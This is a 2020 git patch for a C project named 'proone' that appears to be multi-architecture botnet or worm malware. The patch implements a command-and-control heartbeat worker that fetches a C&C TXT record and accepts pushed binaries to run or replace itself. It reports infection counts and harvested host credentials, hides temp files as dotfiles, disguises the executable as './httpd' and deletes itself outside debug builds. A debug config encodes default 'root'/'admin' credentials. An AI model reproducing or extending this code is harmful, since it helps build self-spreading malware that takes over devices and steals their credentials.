From 550d2eec27a42254b26139208765022fffe7c775 Mon Sep 17 00:00:00 2001
From: David Timber <mieabby@gmail.com>
Date: Tue, 8 Sep 2020 16:18:13 +0930
Subject: * Remove proone-unpack    * self test is done by proone-pack * Impl:
 htbt@proone * htbt: allocate large buffer first by deault * htbt: use 0600
 for NY_BIN as the image is not an executable * pack: return error when
 z_stream is cut short * proone-pack: impl "nybin" file format

---
 .vscode/launch.json            |   2 +-
 scripts/build-all.sh           |  30 +---
 scripts/test_bin-archive.sh    |  63 -------
 src/Makefile.am                |   5 -
 src/data.h                     |   1 +
 src/data/proto-test/nybin      |  32 ----
 src/data/proto-test/nybin_head |   8 +
 src/htbt.c                     |  12 +-
 src/htbt.h                     |   2 -
 src/pack.c                     |  15 +-
 src/proone-htbthost.c          |  12 --
 src/proone-mkdvault.c          |   1 +
 src/proone-pack.c              |  54 +++++-
 src/proone-unpack.c            | 148 ----------------
 src/proone.c                   | 389 ++++++++++++++++++++++++++++++++++++-----
 src/proone.h                   |   8 +-
 16 files changed, 423 insertions(+), 359 deletions(-)
 delete mode 100755 scripts/test_bin-archive.sh
 delete mode 100644 src/data/proto-test/nybin
 create mode 100644 src/data/proto-test/nybin_head
 delete mode 100644 src/proone-unpack.c

diff --git a/.vscode/launch.json b/.vscode/launch.json
index f0ca3fb..d0aa1f9 100644
--- a/.vscode/launch.json
+++ b/.vscode/launch.json
@@ -78,7 +78,7 @@
 			"type": "cppdbg",
 			"request": "launch",
 			"program": "${workspaceFolder}/src/proone",
-			"args": [ "cXdlcnR5dWlvcFtdYXNkZmdoamtsOyd6eGN2Ym5tLC4vYDEyMzQ1Njc4OTAtPX4hQCMkJV4mKigpXyt8XA==" ],
+			"args": [ "cm9vdABhZG1pbgA=" ],
 			"stopAtEntry": false,
 			"cwd": "${workspaceFolder}",
 			"environment": [],
diff --git a/scripts/build-all.sh b/scripts/build-all.sh
index f3b0a51..146bdfb 100755
--- a/scripts/build-all.sh
+++ b/scripts/build-all.sh
@@ -55,7 +55,6 @@ PROONE_BINARCH_PREFIX="$PROONE_BINARCH_DIR/binarch"
 PROONE_DVAULT="$PROONE_PREFIX/dvault.bin"
 PROONE_TOOLS="
 	proone-pack
-	proone-unpack
 	proone-list-arch
 	proone-mkdvault
 	proone-ipaddr-arr
@@ -69,7 +68,7 @@ make distclean
 set -e
 
 # native build for tools
-./configure $PROONE_AM_CONF 
+./configure $PROONE_AM_CONF
 cd src
 make -j$(nproc) $PROONE_TOOLS
 cd ..
@@ -89,29 +88,4 @@ for (( i = 0; i < ARR_SIZE; i += 1 )); do
 done
 
 # pack
-for (( i = 0; i < ARR_SIZE; i += 1 )); do
-	this_arch="${ARCH_ARR[$i]}"
-	other_archs=""
-	rel="$PROONE_REL_PREFIX.$this_arch"
-	binarch="$PROONE_BINARCH_PREFIX.$this_arch"
-
-	for (( j = 0; j < ARR_SIZE; j += 1 )); do
-		if [ $i -eq $j ]; then
-			continue
-		fi
-		other_archs="$other_archs $PROONE_EXEC_PREFIX.${ARCH_ARR[$j]}"
-	done
-
-	"$PROONE_TOOLS_DIR/proone-pack" $other_archs > "$binarch"
-	binarch_size="$(stat -c "%s" "$binarch")"
-
-	cp -a "$PROONE_EXEC_PREFIX.$this_arch" "$rel"
-	# TODO: parameterise BIN_ALIGNMENT?
-	./src/build-utils.sh align-file 8 "$rel"
-	./src/build-utils.sh append-uint16 $DVAULT_SIZE "$rel"
-	./src/build-utils.sh append-uint16 0 "$rel"
-	./src/build-utils.sh append-uint32 $binarch_size "$rel"
-	cat "$PROONE_DVAULT" >> "$rel"
-	./src/build-utils.sh align-file 8 "$rel"
-	cat "$binarch" >> "$rel"
-done
+"$PROONE_TOOLS_DIR/proone-pack" "$PROONE_REL_PREFIX" "$PROONE_DVAULT" "$PROONE_EXEC_PREFIX".*
diff --git a/scripts/test_bin-archive.sh b/scripts/test_bin-archive.sh
deleted file mode 100755
index bbf56c1..0000000
--- a/scripts/test_bin-archive.sh
+++ /dev/null
@@ -1,63 +0,0 @@
-#!/bin/bash
-RND_BLOCK_SIZE=4096
-if [ -z "$RND_BIN_CNT_MIN" ]; then
-	RND_BIN_CNT_MIN=1
-fi
-if [ -z "$RND_BIN_CNT_MAX" ]; then
-	RND_BIN_CNT_MAX=20
-fi
-TEST_DIR="pack_test"
-BIN_PACK_DIR="$TEST_DIR/pack"
-BIN_UNPACK_DIR="$TEST_DIR/unpack"
-BIN_PREFIX="bin"
-BIN_ARCHIVE_PREFIX="bin_archive"
-SIZE_LOG="pack_test-size.log"
-if [ -z "$LISTARCH" ]; then
-	LISTARCH="../src/proone-list-arch"
-fi
-if [ -z "$PACKER" ]; then
-	PACKER="../src/proone-pack"
-fi
-if [ -z "$UNPACKER" ]; then
-	UNPACKER="../src/proone-unpack"
-fi
-ARCH_ARR=(`"$LISTARCH"`)
-
-if [ -d "$TEST_DIR" ]; then
-	rm -rf "$TEST_DIR/"*
-else
-	mkdir "$TEST_DIR"
-fi
-mkdir "$BIN_PACK_DIR" "$BIN_UNPACK_DIR"
-if [ $? -ne 0 ]; then
-	exit 2
-fi
-
-for arch in ${ARCH_ARR[@]}; do
-	bin_block_cnt="$(shuf -n1 -i $RND_BIN_CNT_MIN-$RND_BIN_CNT_MAX)" &&\
-		dd if=/dev/random of="$BIN_PACK_DIR/$BIN_PREFIX.$arch" iflag=fullblock bs=$RND_BLOCK_SIZE count=$bin_block_cnt
-	if [ $? -ne 0 ]; then
-		exit 2
-	fi
-done
-
-"$PACKER" "$BIN_PACK_DIR/$BIN_PREFIX."* | base64 > "$TEST_DIR/$BIN_ARCHIVE_PREFIX"
-if [ $? -ne 0 ]; then
-	exit 2;
-fi
-
-"$UNPACKER" "$BIN_UNPACK_DIR/$BIN_PREFIX" < "$TEST_DIR/$BIN_ARCHIVE_PREFIX"
-if [ $? -ne 0 ]; then
-	exit 2;
-fi
-
-for arch in ${ARCH_ARR[@]}; do
-	diff -q "$BIN_PACK_DIR/$BIN_PREFIX.$arch" "$BIN_UNPACK_DIR/$BIN_PREFIX.$arch"
-	if [ $? -ne 0 ]; then
-		exit 2;
-	fi
-done
-
-echo $(du -bs "$BIN_PACK_DIR" | awk '{print $1;}') $(wc -c "$TEST_DIR/$BIN_ARCHIVE_PREFIX" | awk '{print $1;}') >> "$SIZE_LOG"
-
-exit 0
diff --git a/src/Makefile.am b/src/Makefile.am
index b695333..e138e87 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -17,7 +17,6 @@ bin_PROGRAMS =\
 	proone.bin\
 	proone-mkdvault\
 	proone-pack\
-	proone-unpack\
 	proone-list-arch\
 	proone-resolv\
 	proone-stress\
@@ -67,10 +66,6 @@ proone_mkdvault_SOURCES = proone-mkdvault.c
 proone_pack_LDADD = libproone.a
 proone_pack_SOURCES = proone-pack.c
 
-proone_unpack_LDADD = libproone.a
-proone_unpack_LDFLAGS =
-proone_unpack_SOURCES = proone-unpack.c
-
 proone_list_arch_LDADD = libproone.a
 proone_list_arch_SOURCES = proone-list-arch.c
 
diff --git a/src/data.h b/src/data.h
index cff783b..f2b6d92 100644
--- a/src/data.h
+++ b/src/data.h
@@ -16,6 +16,7 @@ typedef enum {
 	PRNE_DATA_KEY_RESOLV_NS_IPV4,
 	PRNE_DATA_KEY_RESOLV_NS_IPV6,
 	PRNE_DATA_KEY_CNC_TXT_REC,
+	PRNE_DATA_KEY_EXEC_NAME,
 
 	NB_PRNE_DATA_KEY
 } prne_data_key_t;
diff --git a/src/data/proto-test/nybin b/src/data/proto-test/nybin
deleted file mode 100644
index 3008d31..0000000
--- a/src/data/proto-test/nybin
+++ /dev/null
@@ -1,32 +0,0 @@
-# msg id 8A06, init
-8A06
-# PRNE_HTBT_OP_NY_BIN
-06
-	# bin_len = 121
-	000079
-	# detach = 0, args_len = 20
-	0014
-	# "It"
-	49 74 00
-	# "worked, "
-	77 6f 72 6b 65 64 2c 20  00
-	# "Marty!!"
-	4d 61 72 74 79 21 21 00
-	# #!/bin/bash
-	# set -e
-	#
-	# echo "hello world!"
-	#
-	# i=1
-	# while [ $# -gt 0 ]; do
-	# 	echo "arg $i: $1"
-	# 	let "i+=1"
-	# 	shift 1
-	# done
-	#
-	# exit 0
-	23212f62696e2f626173680a736574202d650a0a6563686f202268656c6c
-	6f20776f726c6421220a0a693d310a7768696c65205b202423202d677420
-	30205d3b20646f0a096563686f20226172672024693a202431220a096c65
-	742022692b3d31220a09736869667420310a646f6e650a0a657869742030
-	0a
diff --git a/src/data/proto-test/nybin_head b/src/data/proto-test/nybin_head
new file mode 100644
index 0000000..79cd1b7
--- /dev/null
+++ b/src/data/proto-test/nybin_head
@@ -0,0 +1,8 @@
+# msg id 8A06, init
+8A06
+# PRNE_HTBT_OP_NY_BIN
+06
+	# bin_len =
+	000000
+	# detach = 0, args_len = 0
+	0000
diff --git a/src/htbt.c b/src/htbt.c
index 428688c..20fbe0f 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -730,18 +730,15 @@ static void htbt_free_slv_ctx (htbt_slv_ctx_t *ctx) {
 
 static bool htbt_alloc_slv_iobuf (htbt_slv_ctx_t *ctx) {
 	bool alloc;
-#if 0 // TODO: switch on after testing
-	const size_t PAGESIZE = prne_getpagesize();
 	alloc = prne_alloc_iobuf(
 		ctx->iobuf + 0,
-		PAGESIZE);
+		2048);
 	alloc &= prne_alloc_iobuf(
 		ctx->iobuf + 1,
-		PAGESIZE);
+		2048);
 	if (alloc) {
 		return true;
 	}
-#endif
 
 	alloc = prne_alloc_iobuf(
 		ctx->iobuf + 0,
@@ -1074,7 +1071,9 @@ static bool htbt_slv_srv_bin (
 	}
 
 	errno = 0;
-	path = ctx->cbset->tmpfile(bin_meta.bin_size, 0700);
+	path = ctx->cbset->tmpfile(
+		bin_meta.bin_size,
+		mh->op == PRNE_HTBT_OP_RUN_BIN ? 0700 : 0600);
 	if (path == NULL) {
 		ret_status = PRNE_HTBT_STATUS_ERRNO;
 		ret_errno = errno;
@@ -2447,7 +2446,6 @@ prne_htbt_t *prne_alloc_htbt (
 	if (w == NULL ||
 		param.cb_f.cnc_txtrec == NULL ||
 		param.lbd_ssl_conf == NULL ||
-		param.cncp_ssl_conf == NULL ||
 		param.main_ssl_conf == NULL ||
 		param.ctr_drbg == NULL ||
 		param.blackhole < 0)
diff --git a/src/htbt.h b/src/htbt.h
index 698e63f..6db9cba 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -13,7 +13,6 @@ typedef struct prne_htbt_cbset prne_htbt_cbset_t;
 typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out);
 typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out);
 typedef char*(*prne_htbt_tmpfile_ft)(size_t req_size, const mode_t mode);
-typedef bool(*prne_htbt_cmd_ft)(const prne_htbt_cmd_t *cmd);
 typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd);
 
 struct prne_htbt_cbset {
@@ -25,7 +24,6 @@ struct prne_htbt_cbset {
 
 struct prne_htbt_param {
 	mbedtls_ssl_config *lbd_ssl_conf;
-	mbedtls_ssl_config *cncp_ssl_conf;
 	mbedtls_ssl_config *main_ssl_conf;
 	mbedtls_ctr_drbg_context *ctr_drbg;
 	prne_resolv_t *resolv;
diff --git a/src/pack.c b/src/pack.c
index e842caa..10d9a54 100644
--- a/src/pack.c
+++ b/src/pack.c
@@ -205,6 +205,14 @@ static ssize_t pack_rcb_rpread_f (
 			}
 			ctx->z_ny.next_in = ctx->buf;
 			ctx->z_ny.avail_in = consume;
+
+			if (consume == 0 && d_flush != Z_FINISH) {
+				// short compressed data
+				// this means that bin arch is incomplete
+				consume = -1;
+				prc = PRNE_PACK_RC_FMT_ERR;
+				goto END;
+			}
 		}
 
 		ctx->z_ny.avail_out = len;
@@ -213,7 +221,6 @@ static ssize_t pack_rcb_rpread_f (
 		switch (err) {
 		case Z_STREAM_END:
 			ctx_p->read_f = pack_rcb_nullread_f;
-			prc = PRNE_PACK_RC_EOF;
 			/* fall-through */
 		case Z_BUF_ERROR:
 		case Z_OK:
@@ -472,8 +479,10 @@ prne_pack_rc_t prne_start_bin_rcb (
 
 		ny_ctx->z_old.avail_in = ba->data_size;
 		ny_ctx->z_old.next_in = (uint8_t*)ba->data;
-		ny_ctx->z_ny.avail_in = exec_len;
-		ny_ctx->z_ny.next_in = (uint8_t*)m_self;
+		if (self != PRNE_ARCH_NONE) {
+			ny_ctx->z_ny.avail_in = exec_len;
+			ny_ctx->z_ny.next_in = (uint8_t*)m_self;
+		}
 		ny_ctx->a_self = self;
 
 		prne_free_bin_rcb_ctx(ctx);
diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c
index dbc53d6..a407253 100644
--- a/src/proone-htbthost.c
+++ b/src/proone-htbthost.c
@@ -340,9 +340,6 @@ int main (const int argc, const char **args) {
 			mbedtls_pk_context key;
 			mbedtls_ssl_config conf;
 		} c;
-		struct {
-			mbedtls_ssl_config conf;
-		} cncp;
 	} ssl;
 
 	sigemptyset(&ss_all);
@@ -420,7 +417,6 @@ int main (const int argc, const char **args) {
 	mbedtls_dhm_init(&ssl.s.dhm);
 	mbedtls_ssl_config_init(&ssl.s.conf);
 	mbedtls_ssl_config_init(&ssl.c.conf);
-	mbedtls_ssl_config_init(&ssl.cncp.conf);
 	load_ssl_conf(
 		&ssl.ca,
 		&ssl.s.conf,
@@ -431,12 +427,6 @@ int main (const int argc, const char **args) {
 		&ssl.c.crt,
 		&ssl.c.key,
 		&rnd);
-	prne_assert(mbedtls_ssl_config_defaults(
-		&ssl.cncp.conf,
-		MBEDTLS_SSL_IS_CLIENT,
-		MBEDTLS_SSL_TRANSPORT_STREAM,
-		MBEDTLS_SSL_PRESET_DEFAULT) == 0);
-	mbedtls_ssl_conf_rng(&ssl.cncp.conf, mbedtls_ctr_drbg_random, &rnd);
 	mbedtls_ssl_conf_dbg(&ssl.s.conf, mbedtls_dbg_f, NULL);
 	mbedtls_ssl_conf_dbg(&ssl.c.conf, mbedtls_dbg_f, NULL);
 
@@ -469,7 +459,6 @@ int main (const int argc, const char **args) {
 		prne_htbt_init_param(&param);
 		param.lbd_ssl_conf = &ssl.s.conf;
 		param.main_ssl_conf = &ssl.c.conf;
-		param.cncp_ssl_conf = &ssl.cncp.conf;
 		param.ctr_drbg = &rnd;
 		param.resolv = resolv;
 		param.cb_f.cnc_txtrec = cb_txtrec;
@@ -514,7 +503,6 @@ int main (const int argc, const char **args) {
 	mbedtls_dhm_free(&ssl.s.dhm);
 	mbedtls_ssl_config_free(&ssl.s.conf);
 	mbedtls_ssl_config_free(&ssl.c.conf);
-	mbedtls_ssl_config_free(&ssl.cncp.conf);
 	mbedtls_ctr_drbg_free(&rnd);
 	mbedtls_entropy_free(&entropy);
 	free_htbthost_param(&htbthost_param);
diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c
index 6d423a9..e08adc8 100644
--- a/src/proone-mkdvault.c
+++ b/src/proone-mkdvault.c
@@ -150,6 +150,7 @@ int main (void) {
 	add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV4, PRNE_RESOLV_NS_POOL_IPV4);
 	add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV6, PRNE_RESOLV_NS_POOL_IPV6);
 	add_cstr(PRNE_DATA_KEY_CNC_TXT_REC, PRNE_CNC_TXT_REC);
+	add_cstr(PRNE_DATA_KEY_EXEC_NAME, "./httpd");
 
 	pos += NB_PRNE_DATA_KEY * sizeof(uint16_t);
 
diff --git a/src/proone-pack.c b/src/proone-pack.c
index 555dbf4..8971411 100644
--- a/src/proone-pack.c
+++ b/src/proone-pack.c
@@ -123,14 +123,14 @@ static void do_test (
 	size_t out_size = 0, out_len;
 	uint8_t *m_out = NULL;
 
-	if (depth > TEST_DEPTH) {
-		return;
-	}
-
 	prne_assert(ofs_ba < len);
 	prne_assert(memcmp(m, t->m_exec, t->st.st_size) == 0);
 	prne_assert(memcmp(m + ofs_dv, m_dv, dv_len) == 0);
 
+	if (depth > TEST_DEPTH) {
+		return;
+	}
+
 	prne_init_bin_archive(&ba);
 	prne_init_bin_rcb_ctx(&ctx);
 	prne_assert(prne_index_bin_archive(
@@ -170,6 +170,46 @@ static void do_test (
 	prne_free(m_out);
 }
 
+static bool do_nybin (const char *path, int *fd) {
+	uint8_t head[8];
+	const size_t align =
+		sizeof(head) +
+		prne_salign_next(dv_len, PRNE_BIN_ALIGNMENT);
+
+	prne_memzero(head, sizeof(head));
+	head[0] = prne_getmsb16(dv_len, 0);
+	head[1] = prne_getmsb16(dv_len, 1);
+	head[2] = 'n';
+	head[3] = 'y';
+	head[4] = 'b';
+	head[5] = 'i';
+	head[6] = 'n';
+	head[7] = 0;
+
+	*fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0755);
+	if (*fd < 0) {
+		return false;
+	}
+
+	if (ftruncate(*fd, align) != 0) {
+		return false;
+	}
+	if (write(*fd, head, sizeof(head)) != (ssize_t)sizeof(head)) {
+		return false;
+	}
+	if (write(*fd, m_dv, dv_len) != (ssize_t)dv_len) {
+		return false;
+	}
+	if (lseek(*fd, align, SEEK_SET) < 0) {
+		return false;
+	}
+	if (write(*fd, m_ba, ba_len) != (ssize_t)ba_len) {
+		return false;
+	}
+
+	return true;
+}
+
 static bool do_rcb (const char *prefix) {
 	prne_pack_rc_t prc;
 	bool ret = true;
@@ -193,9 +233,7 @@ static bool do_rcb (const char *prefix) {
 	prc = prne_index_bin_archive(m_ba, ba_len, &ba);
 	prne_assert(prc == PRNE_PACK_RC_OK);
 
-	// TODO: dvault + nybin
-	fd = open(out_path, O_WRONLY | O_CREAT | O_TRUNC, 0755);
-	if (fd < 0 || write(fd, m_ba, ba_len) != (ssize_t)ba_len) {
+	if (!do_nybin(out_path, &fd)) {
 		perror(out_path);
 		ret = false;
 		goto END;
@@ -262,7 +300,7 @@ int main (const int argc, const char **args) {
 	z_stream zs;
 	size_t out_len;
 
-	PAGESIZE = prne_getpagesize(); // TODO: test
+	PAGESIZE = prne_getpagesize();
 
 	prne_memzero(&zs, sizeof(z_stream));
 	if ((z_ret = deflateInit(&zs, PRNE_PACK_Z_LEVEL)) != Z_OK) {
diff --git a/src/proone-unpack.c b/src/proone-unpack.c
deleted file mode 100644
index d7787a8..0000000
--- a/src/proone-unpack.c
+++ /dev/null
@@ -1,148 +0,0 @@
-#include <stdio.h>
-#include <stdint.h>
-#include <stdbool.h>
-#include <string.h>
-
-#include <unistd.h>
-#include <fcntl.h>
-#include <sys/mman.h>
-
-#include "pack.h"
-#include "util_rt.h"
-
-#define USE_MMAP 1
-
-
-static void report_pack_ret (const prne_pack_ret_t pr) {
-	char *str = prne_pack_ret_tostr(pr);
-
-	fprintf(stderr, "%s\n", str);
-	prne_free(str);
-}
-
-
-int main (const int argc, const char **args) {
-	int exit_code = 0;
-	const char *path_prefix;
-	size_t path_prefix_len;
-	prne_stdin_base64_rf_ctx_t rf_ctx;
-	prne_bin_archive_t bin_archive;
-	prne_pack_ret_t pr;
-	size_t i;
-	const char *arch_str;
-	char *path = NULL;
-	size_t path_size;
-	void *ny_buf;
-	int fd = -1;
-	prne_unpack_ctx_pt unpack_ctx = NULL;
-#if USE_MMAP
-	void *addr = NULL;
-#else
-	uint8_t write_buf[512];
-	ssize_t write_len;
-#endif
-
-	if (argc <= 1) {
-		fprintf(stderr, "Usage: %s <prefix>\n", args[0]);
-		return 2;
-	}
-
-	path_prefix = args[1];
-	path_prefix_len = strlen(path_prefix);
-	prne_init_bin_archive(&bin_archive);
-	prne_init_stdin_base64_rf_ctx(&rf_ctx);
-
-	pr = prne_index_bin_archive(&rf_ctx, prne_stdin_base64_rf, &bin_archive);
-	if (pr.rc != PRNE_PACK_RC_OK) {
-		report_pack_ret(pr);
-		exit_code = 1;
-		goto END;
-	}
-
-	for (i = 0; i < bin_archive.nb_bin; i += 1) {
-		arch_str = prne_arch_tostr(bin_archive.bin[i].arch);
-		if (arch_str == NULL) {
-			fprintf(stderr, "** unrecognised arch!");
-			exit_code = 1;
-			goto END;
-		}
-
-		unpack_ctx = prne_alloc_unpack_ctx(&bin_archive, bin_archive.bin[i].arch, &pr);
-		if (unpack_ctx == NULL) {
-			report_pack_ret(pr);
-			exit_code = 1;
-			goto END;
-		}
-		
-		path_size = 2 + path_prefix_len + strlen(arch_str);
-		ny_buf = prne_realloc(path, 1, path_size);
-		if (ny_buf == NULL) {
-			perror("prne_realloc()");
-			exit_code = 1;
-			goto END;
-		}
-		path = (char*)ny_buf;
-		if (sprintf(path, "%s.%s", path_prefix, arch_str) < 0) {
-			perror("sprintf()");
-			exit_code = 1;
-			goto END;
-		}
-
-		fd = open(path, O_CREAT | O_RDWR | O_TRUNC, 0666);
-		if (fd < 0) {
-			perror("open()");
-			exit_code = 1;
-			goto END;
-		}
-#if USE_MMAP
-		if (ftruncate(fd, bin_archive.bin[i].size) != 0) {
-			perror("ftruncate()");
-			exit_code = 1;
-			goto END;
-		}
-		addr = mmap(NULL, bin_archive.bin[i].size, PROT_WRITE, MAP_SHARED, fd, 0);
-		if (addr == MAP_FAILED) {
-			perror("mmap()");
-			exit_code = 1;
-			goto END;
-		}
-
-		if (prne_do_unpack(unpack_ctx, (uint8_t*)addr, bin_archive.bin[i].size, &pr) != (ssize_t)bin_archive.bin[i].size) {
-			report_pack_ret(pr);
-			exit_code = 1;
-			goto END;
-		}
-
-		munmap(addr, bin_archive.bin[i].size);
-		addr = NULL;
-#else
-		do {
-			write_len = prne_do_unpack(unpack_ctx, write_buf, sizeof(write_buf), &pr);
-			if (write_len < 0) {
-				report_pack_ret(pr);
-				exit_code = 1;
-				goto END;
-			}
-			write(fd, write_buf, (size_t)write_len);
-		} while (write_len != 0);
-#endif
-		prne_free_unpack_ctx(unpack_ctx);
-		unpack_ctx = NULL;
-		prne_close(fd);
-		fd = -1;
-	}
-
-END:
-#if USE_MMAP
-	if (addr != NULL) {
-		munmap(addr, bin_archive.bin[i].size);
-	}
-#endif
-	prne_free_unpack_ctx(unpack_ctx);
-	prne_free(path);
-	prne_close(fd);
-	prne_free_bin_archive(&bin_archive);
-	prne_free_stdin_base64_rf_ctx(&rf_ctx);
-
-	return exit_code;
-}
diff --git a/src/proone.c b/src/proone.c
index c39a60b..5e40796 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -23,6 +23,7 @@
 #include "proone.h"
 #include "protocol.h"
 #include "util_rt.h"
+#include "endian.h"
 #include "dvault.h"
 #include "llist.h"
 #include "mbedtls.h"
@@ -33,10 +34,9 @@ struct prne_shared_global *prne_s_g = NULL;
 
 sigset_t ss_exit, ss_all;
 
-static prne_worker_t wkr_arr[2];
+static prne_worker_t wkr_arr[3];
 static size_t wkr_cnt;
 
-
 static void alloc_resolv (void) {
 	prne_resolv_ns_pool_t pool4, pool6;
 	size_t i, len, cnt;
@@ -87,8 +87,137 @@ END:
 	prne_resolv_free_ns_pool(&pool6);
 }
 
+static bool cb_htbt_cnc_txtrec (char *out) {
+	strcpy(out, prne_dvault_get_cstr(PRNE_DATA_KEY_CNC_TXT_REC, NULL));
+	prne_dvault_reset();
+	return true;
+}
+
+static bool cb_htbt_hostinfo (prne_htbt_host_info_t *out) {
+	const struct timespec ts_now = prne_gettime(CLOCK_MONOTONIC);
+
+	out->parent_uptime = prne_sub_timespec(ts_now, prne_g.parent_start).tv_sec;
+	out->child_uptime = prne_sub_timespec(ts_now, prne_g.child_start).tv_sec;
+	if (prne_s_g != NULL) {
+		out->bne_cnt = prne_s_g->bne_cnt;
+		out->infect_cnt = prne_s_g->infect_cnt;
+		if (prne_htbt_alloc_host_info(out, prne_s_g->host_cred_len)) {
+			memcpy(
+				out->host_cred,
+				prne_s_g->host_cred_data,
+				prne_s_g->host_cred_len);
+		}
+		out->crash_cnt = prne_s_g->crash_cnt;
+	}
+	out->parent_pid = prne_g.parent_pid;
+	out->child_pid = prne_g.child_pid;
+	memcpy(
+		out->prog_ver,
+		prne_dvault_get_bin(PRNE_DATA_KEY_PROG_VER, NULL),
+		prne_op_min(sizeof(out->prog_ver), 16));
+	prne_dvault_reset();
+	memcpy(
+		out->boot_id,
+		prne_g.boot_id,
+		prne_op_min(sizeof(out->boot_id), sizeof(prne_g.boot_id)));
+	memcpy(
+		out->instance_id,
+		prne_g.instance_id,
+		prne_op_min(sizeof(out->instance_id), sizeof(prne_g.instance_id)));
+	out->arch = prne_host_arch;
+
+	return true;
+}
+
+static char *cb_htbt_tmpfile (size_t req_size, const mode_t mode) {
+	uint8_t m[16];
+	char *path = prne_alloc_str(36 + 3), *ret = NULL;
+	int fd = -1;
+
+	path[0] = 0;
+	do {
+		if (path == NULL) {
+			break;
+		}
+		if (mbedtls_ctr_drbg_random(&prne_g.ssl.rnd, m, sizeof(m)) != 0) {
+			break;
+		}
+		path[0] = '.';
+		path[1] = '/';
+		path[2] = '.';
+		prne_uuid_tostr(m, path + 3);
+		path[39] = 0;
+
+		fd = open(path, O_RDWR | O_CREAT | O_TRUNC, mode);
+		if (fd < 0) {
+			break;
+		}
+		chmod(path, mode);
+		if (ftruncate(fd, req_size) != 0) {
+			break;
+		}
+
+		ret = path;
+		path = NULL;
+	} while (false);
+
+	if (path != NULL) {
+		if (fd >= 0) {
+			unlink(path);
+		}
+		prne_free(path);
+	}
+	prne_close(fd);
+	return ret;
+}
+
+static bool cb_htbt_nybin (const char *path, const prne_htbt_cmd_t *cmd) {
+	const size_t strsize = prne_nstrlen(path) + 1;
+
+	if (prne_s_g == NULL ||
+		strsize > sizeof(prne_s_g->ny_bin_path) ||
+		cmd->mem_len > sizeof(prne_s_g->ny_bin_args))
+	{
+		errno = ENOMEM;
+		return false;
+	}
+	memcpy(prne_s_g->ny_bin_path, path, strsize);
+	memcpy(prne_s_g->ny_bin_args, cmd->mem, cmd->mem_len);
+
+	pth_raise(prne_g.main_pth, SIGTERM);
+
+	return true;
+}
+
+
 static void alloc_htbt (void) {
-	// TODO
+	prne_htbt_param_t param;
+
+	prne_htbt_init_param(&param);
+
+	if (!(prne_g.c_ssl.ready && prne_g.s_ssl.ready)) {
+		goto END;
+	}
+
+	param.lbd_ssl_conf = &prne_g.s_ssl.conf;
+	param.main_ssl_conf = &prne_g.c_ssl.conf;
+	param.ctr_drbg = &prne_g.ssl.rnd;
+	param.resolv = prne_g.resolv;
+	param.cb_f.cnc_txtrec = cb_htbt_cnc_txtrec;
+	param.cb_f.hostinfo = cb_htbt_hostinfo;
+	param.cb_f.tmpfile = cb_htbt_tmpfile;
+	param.cb_f.ny_bin = cb_htbt_nybin;
+	param.blackhole = prne_g.blackhole[1];
+
+	prne_g.htbt = prne_alloc_htbt(
+		wkr_arr + wkr_cnt,
+		param);
+	if (prne_g.htbt != NULL) {
+		wkr_cnt += 1;
+	}
+
+END:
+	prne_htbt_free_param(&param);
 }
 
 static void alloc_workers (void) {
@@ -104,6 +233,7 @@ static void free_workers (void) {
 		prne_free_worker(wkr_arr + i);
 	}
 	prne_g.resolv = NULL;
+	prne_g.htbt = NULL;
 }
 
 static void seed_ssl_rnd (const bool use_bent) {
@@ -152,15 +282,12 @@ static int proone_main (void) {
 		prne_assert(wkr_arr[i].pth != NULL);
 	}
 
-	do {
+	while (true) {
 		prne_assert(pth_sigwait(&ss_all, &caught_sig) == 0);
-		switch (caught_sig) {
-		case SIGCHLD: // Not my child
-		case SIGINT: // Probably Ctrl + C. Wait for the parent to send SIGTERM.
-		case SIGPIPE:
-			continue;
+		if (sigismember(&ss_exit, caught_sig) && caught_sig != SIGINT) {
+			break;
 		}
-	} while (false);
+	}
 	sigprocmask(SIG_UNBLOCK, &ss_exit, NULL);
 
 	for (size_t i = 0; i < wkr_cnt; i += 1) {
@@ -178,8 +305,35 @@ static int proone_main (void) {
 	return 0;
 }
 
+static void close_blackhole (void) {
+	prne_close(prne_g.blackhole[0]);
+	prne_close(prne_g.blackhole[1]);
+	prne_g.blackhole[0] = -1;
+	prne_g.blackhole[1] = -1;
+}
+
+static void open_blackhole (void) {
+	close_blackhole();
+
+	do {
+		// try null device
+		prne_g.blackhole[1] = open("/dev/null", O_WRONLY);
+		if (prne_g.blackhole[1] >= 0) {
+			fcntl(prne_g.blackhole[1], F_SETFD, FD_CLOEXEC);
+			break;
+		}
+
+		// try pipe
+		if (pipe(prne_g.blackhole) == 0) {
+			prne_sck_fcntl(prne_g.blackhole[0]);
+			prne_sck_fcntl(prne_g.blackhole[1]);
+			break;
+		}
+	} while (false);
+}
+
 static void delete_myself (const char *arg0) {
-#if defined(PRNE_DEBUG)
+#if !defined(PRNE_DEBUG)
 	unlink(arg0);
 #endif
 }
@@ -274,7 +428,7 @@ static void init_proone (const char *self) {
 		(uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 0] << 8 |
 		(uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 1] << 0;
 
-	dvault_ofs = prne_salign_next(prne_g.exec_size, PRNE_BIN_ALIGNMENT) + 8;
+	dvault_ofs = prne_g.exec_size + 8;
 	binarch_ofs = dvault_ofs + prne_salign_next(
 		prne_g.dvault_size,
 		PRNE_BIN_ALIGNMENT);
@@ -286,12 +440,12 @@ static void init_proone (const char *self) {
 	setup_dvault();
 
 	if (binarch_size > 0) {
-		prne_g.bin_ready = prne_index_bin_archive(
+		prne_index_bin_archive(
 			prne_g.m_exec + binarch_ofs,
 			binarch_size,
-			&prne_g.bin_archive) == PRNE_PACK_RC_OK;
+			&prne_g.bin_archive);
 	}
-	if (!prne_g.bin_ready) {
+	if (prne_g.bin_archive.nb_bin == 0) {
 		prne_dbgpf("* This executable has no binary archive!\n");
 	}
 #undef ELF_EHDR_TYPE
